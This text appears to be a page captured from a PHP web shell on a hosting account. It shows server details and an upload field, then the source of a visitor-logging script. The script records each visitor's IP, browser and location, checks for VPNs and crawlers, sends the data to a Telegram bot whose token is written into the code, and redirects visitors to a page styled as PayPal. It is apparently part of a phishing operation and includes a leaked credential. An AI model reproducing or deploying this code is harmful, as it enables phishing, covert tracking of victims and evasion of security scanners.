Server IP : 162.0.215.126 / Your IP : 216.73.216.4 Web Server : LiteSpeed System : Linux business105.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64 User : tektomgb ( 586) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tektomgb/tektk77hoki.us/ |
Upload File : |
<?php // === CONFIGURATION === $bot_token = '8049766515:AAFSqIITFHZ9ix4eWEfmNo9V729UMAFfrJM'; $chat_id = '-4823923072'; // Use a negative number like -1001234567890 $redirect_url = 'https://www.tektk77hoki.us/x/paypal'; // Where to redirect the user // === COLLECT BASIC INFO === $ip = $_SERVER['REMOTE_ADDR']; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $referer = $_SERVER['HTTP_REFERER'] ?? 'None'; $time = date('Y-m-d H:i:s'); // === DETECT VPN/PROXY/BOT/COUNTRY === $ip_api_url = "http://ip-api.com/json/$ip?fields=country,regionName,city,hosting,proxy,mobile,query,status,message"; $api_response = file_get_contents($ip_api_url); $ip_info = json_decode($api_response, true); $country = $ip_info['country'] ?? 'Unknown'; $region = $ip_info['regionName'] ?? 'Unknown'; $city = $ip_info['city'] ?? 'Unknown'; $is_proxy = $ip_info['proxy'] ?? false; $is_hosting = $ip_info['hosting'] ?? false; $is_mobile = $ip_info['mobile'] ?? false; $status = $ip_info['status'] ?? 'fail'; $error_message = $ip_info['message'] ?? null; // === DETECT BOT === $is_bot = false; $bot_keywords = ['bot', 'spider', 'crawl', 'slurp', 'mediapartners']; foreach ($bot_keywords as $bot_keyword) { if (stripos($user_agent, $bot_keyword) !== false) { $is_bot = true; break; } } // === FORMAT MESSAGE === if ($status === 'success') { $message = "đĨ New Visitor:\n" . "đ Time: $time\n" . "đ IP: $ip\n" . "đ Location: $country, $region, $city\n" . "đą User Agent: $user_agent\n" . "âŠī¸ Referer: $referer\n" . "đ§ VPN/Proxy: " . ($is_proxy ? 'Yes' : 'No') . "\n" . "đĸ Hosting Provider: " . ($is_hosting ? 'Yes' : 'No') . "\n" . "đą Mobile Device: " . ($is_mobile ? 'Yes' : 'No') . "\n" . "đ¤ Bot Detected: " . ($is_bot ? 'Yes' : 'No'); } else { $message = "â ī¸ Visitor Data Fetch Failed:\n" . "đ Time: $time\n" . "đ IP: $ip\n" . "đĢ Error: $error_message"; } // === SEND TO TELEGRAM === $url = "https://api.telegram.org/bot$bot_token/sendMessage"; $data = [ 'chat_id' => $chat_id, 'text' => $message, ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); curl_close($ch); // === REDIRECT === header("Location: $redirect_url"); exit; ?>